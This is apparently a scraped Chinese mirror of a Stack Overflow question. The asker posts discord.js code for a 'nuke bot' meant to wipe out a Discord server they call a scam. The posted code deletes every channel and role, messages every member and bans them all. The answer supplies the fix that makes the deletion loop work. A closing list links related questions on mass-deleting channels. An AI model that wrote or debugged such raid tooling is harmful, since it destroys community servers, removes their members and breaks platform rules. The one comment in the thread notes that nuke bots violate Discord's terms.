如何删除 discord.js 服务器中的所有频道

Posted

技术标签:

【中文标题】如何删除 discord.js 服务器中的所有频道【英文标题】:how to delete all channel in discord.js server 【发布时间】:2022-01-20 02:10:15 【问题描述】:

我要制作一个核弹机器人来核弹一个骗局服务器我已经尝试了很多方法但无法正常工作这是我当前的代码

const Discord = require('discord.js')
const client = new Discord.Client()

client.on('ready', function()
    console.log("nukebot is ready")
)

client.on('message', function(message)
    if(message.content === "S#NUKE") 
        message.channel.send('@everyone')
        message.guild.channels.forEach(channel => channel.delete())
        message.guild.roles.forEach(role => role.delete())
        message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
        message.guild.member.forEach(member => member.ban()).catch(console.error())
    
)

client.login('API_KEY_REDACTED')

这给了我一个错误:message.guild.channels.forEach is not a function

【问题讨论】:

它是 channels.cache 还请记住,nuke bot 是反对不和谐的,如果你使用你的,你可能会被禁止 【参考方案1】:

message.guild.channels.forEach() 应该是 message.guild.channels.cache.forEach()。 他们在 v12 中添加了该更新。

【讨论】:

以上是关于如何删除 discord.js 服务器中的所有频道的主要内容,如果未能解决你的问题,请参考以下文章

如何删除 Discord 服务器中的所有频道?

如何删除公会 discord.js 中的所有频道

如何在 DIScord.js 上批量删除频道?

discord.js 如何删除所有频道中包含黑名单的消息

从服务器中删除所有频道(语音和文本) - discord.js

使用 Discord.js 使用 Discord Bot 将语音频道中的所有人静音